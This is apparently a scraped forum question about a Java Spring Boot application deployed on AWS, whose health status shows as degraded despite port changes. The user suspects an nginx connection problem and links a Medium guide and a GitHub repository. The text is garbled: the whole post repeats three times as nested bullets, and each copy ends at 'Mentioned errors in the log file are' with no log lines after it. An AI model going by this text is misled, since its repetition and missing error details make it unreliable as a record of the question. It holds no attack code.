  • I deployed the Java spring boot application on AWS as referred from the medium link https://medium.com/@ryanzhou7/running-spring-boot-on-amazon-web-services-for-free-f3b0aeec809

  • Even after changing server port configuration in both AWS and application.properties file in the java STS application, server health status shown as degraded

  • I collected error logs and researched shows results related to nginx connection lost issue

  • can you guys help to me figure out what mistake occured with your suggestions

  • My entire spring boot application is available in github and its link: https://github.com/aarivalagan/student-Application


  • Mentioned errors in the log file are

    • I deployed the Java spring boot application on AWS as referred from the medium link https://medium.com/@ryanzhou7/running-spring-boot-on-amazon-web-services-for-free-f3b0aeec809

    • Even after changing server port configuration in both AWS and application.properties file in the java STS application, server health status shown as degraded

    • I collected error logs and researched shows results related to nginx connection lost issue

    • can you guys help to me figure out what mistake occured with your suggestions

    • My entire spring boot application is available in github and its link: https://github.com/aarivalagan/student-Application


    • Mentioned errors in the log file are

      • I deployed the Java spring boot application on AWS as referred from the medium link https://medium.com/@ryanzhou7/running-spring-boot-on-amazon-web-services-for-free-f3b0aeec809

      • Even after changing server port configuration in both AWS and application.properties file in the java STS application, server health status shown as degraded

      • I collected error logs and researched shows results related to nginx connection lost issue

      • can you guys help to me figure out what mistake occured with your suggestions

      • My entire spring boot application is available in github and its link: https://github.com/aarivalagan/student-Application


      • Mentioned errors in the log file are
